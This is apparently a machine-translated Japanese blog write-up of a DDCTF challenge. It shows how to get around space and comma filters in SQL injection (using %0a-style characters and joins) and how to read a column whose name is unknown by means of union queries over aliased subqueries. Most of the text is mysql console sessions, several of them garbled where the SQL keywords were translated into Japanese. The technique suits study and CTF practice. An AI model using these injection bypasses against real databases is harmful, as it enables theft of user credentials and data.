MySQL で不明なフィールド名を回避する方法

MySQL で不明なフィールド名を回避する方法

序文

この記事では、DDCTF の 5 番目の質問、つまり不明なフィールド名をバイパスする手法を紹介します。ここでは、ローカル マシンを使用して操作します。アイデアは素晴らしく明確です。皆さんと共有してください。詳細な紹介を見てみましょう。

実装のアイデア

この質問はスペースとカンマをフィルタリングします。スペースは、%0a、%0b、%0c、%0d、%a0、または括弧を直接使用してバイパスできます。カンマは join を使用してバイパスできます。

フラグを格納するフィールド名が不明であり、information_schema.columns もテーブル名の 16 進数をフィルタリングするため、フィールド名を取得できません。この場合、結合クエリを使用できます。プロセスは次のようになります。

アイデアは、フラグを取得して、それを既知のフィールド名の下に表示することです。

サンプルコード:

mysql> (選択 1)a、(選択 2)b、(選択 3)c、(選択 4)d を選択します。
+---+---+---+---+
| a | b | c | d |
+---+---+---+---+
| 1 | 2 | 3 | 4 |
+---+---+---+---+
セット内の 1 行 (0.00 秒)
 
mysql> (選択 1)a、(選択 2)b、(選択 3)c、(選択 4)d から * を選択します。
+---+---+---+---+
| 1 | 2 | 3 | 4 |
+---+---+---+---+
| 1 | 2 | 3 | 4 |
+---+---+---+---+
セット内の 1 行 (0.00 秒)
 
mysql> select * from (select 1)a、(select 2)b、(select 3)c、(select 4)d union select * from user;
+---+-------+----------+-------------+
| 1 | 2 | 3 | 4 |
+---+-------+----------+-------------+
| 1 | 2 | 3 | 4 |
| 1 | 管理者 | admin888 | [email protected] |
| 2 | テスト | test123 | [email protected] |
| 3 | cs | cs123 | [email protected] |
+---+-------+----------+-------------+
セット内の 4 行 (0.01 秒)
 
mysql> select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user)e;
+-------------+
| 4 |
+-------------+
| 4 |
| [email protected] |
| [email protected] |
| [email protected] |
+-------------+
セット内の4行(0.03秒)
 
mysql> select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user)e limit 1 offset 3;
 
+-------------+
| 4 |
+-------------+
| [email protected] |
+-------------+
セット内の1行(0.01秒)
 
mysql> select * from user where id=1 union select (select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d
union select * from user)e limit 1 offset 3)f,(select 1)g,(select 1)h,(select 1)i;
+-------------+-----------+-----------+-------------+
| ID | ユーザー名 | パスワード | メール |
+-------------+-----------+-----------+-------------+
| 1 | 管理者 | admin888 | [email protected] |
| [email protected] | 1 | 1 | 1 |
+-------------+-----------+-----------+-------------+
セットに2行(0.04秒)

要約する

上記はこの記事の全内容です。この記事の内容が皆さんの勉強や仕事に少しでもお役に立てれば幸いです。ご質問があれば、メッセージを残してコミュニケーションしてください。123WORDPRESS.COM をご愛顧いただき、ありがとうございます。

以下もご興味があるかもしれません:
  • XSSとSQLインジェクションを防ぐ:JS特殊文字フィルタリングの定期的
  • 重複データをフィルタリングするSQL文
  • MySQLインジェクションバイパスフィルタリング技術の概要
  • SQLインジェクションは一重引用符の制限を回避し、インジェクションを継続します
  • SQLインジェクションバイパス手法の概要
  • 複数列の複合インデックスを使用して Microsoft SQL Server のバグを回避する
  • SQLインジェクションバイパスに関するいくつかの知識ポイント
  • SQL Server シンプル モードで誤って削除されたヒープ テーブル レコードを回復する方法 (ヘッダー検証をバイパス)
  • SQL インジェクション技術: 明示的およびブラインド インジェクションにおけるカンマ フィルタリングのバイパスの詳細な分析

<<:  TomcatはNginxリバースプロキシのクライアントドメイン名を取得します

>>:  jsはjQueryをカプセル化する簡単な方法とチェーン操作の詳細な説明を実装します

推薦する

テキストエリアの残りの単語数を動的に取得する方法

仕事で、これまで一度も書いたことのないケースに遭遇しました。午後の半分をその作業に費やし、ついに書き...

Vueカスタム指示により、ポップアップウィンドウのドラッグ4辺ストレッチと対角ストレッチ効果を実現

導入同社の最近の Vue フロントエンド プロジェクトの要件: ポップアップ ウィンドウのドラッグ、...

mysql トリガーの作成と使用例

目次トリガーとは何かトリガーを作成するMySQL 作成構文のキーワードの説明: 1. MySQL ト...

純粋な CSS を使用して脈動するローダー効果のソースコードを作成する

効果プレビュー右側の「クリックしてプレビュー」ボタンを押すと現在のページでプレビューが表示され、リン...

MySQLのスレッド実行の急増とクエリの遅延の問題を解決する

目次背景問題の説明原因分析CPUクエリが遅い接続数分析する拡大する総括する背景新年を迎える前は、一年...

MySQLのさまざまなロックの概念的理解

楽観的ロック楽観的ロックは、主にデータ バージョン記録メカニズムに基づいて実装され、通常はデータベー...

組み込み移植 docker エラー問題 (概要)

長い移植と情報検索の期間を経て、組み込みDockerの問題を解決することができました。インターネット...

TSで最も一般的な宣言マージ(インターフェースマージ)

目次1. マージインターフェース1.1 非関数メンバー1.2 関数メンバー序文:今日お話ししたいのは...

Robots.txtの詳細な紹介

Robots.txt はプレーンテキスト ファイルであり、Web サイト管理者は、ロボットによるアク...

CSS の子要素の Z インデックスと親要素の兄弟ノードの階層問題を解決する

1. 問題の出現フラット リストを作成しました。リストの一部には、マウスをホバーすると表示されるポッ...

Reactでコンポーネントがどのように通信するかの詳細な説明

1. 何ですかコンポーネント間の通信は、次の 2 つの単語に分けることができます。コンポーネントコ...

ブログデザイン ウェブデザイン デビュー

私がデザインした最初の Web ページは次のとおりです。 私はこの業界に7年間在籍し、プログラミング...

HTML ドラッグ アンド ドロップ機能の実装コード

Vueベースこの機能の核となるアイデアは、JavaScript コードを通じてページ上のノードの左余...

MySQL で結合を使用して SQL を最適化する方法の詳細な説明

0. 以下のテストに関連する表を準備する関連するテーブル作成ステートメントについては、https:/...

Vueはel-tree遅延読み込みを使用して、追加、削除、変更、クエリ機能を実装します。

Vue のツリー表示については、プロジェクトが使用されています: エフェクト ダイアグラムがツリー...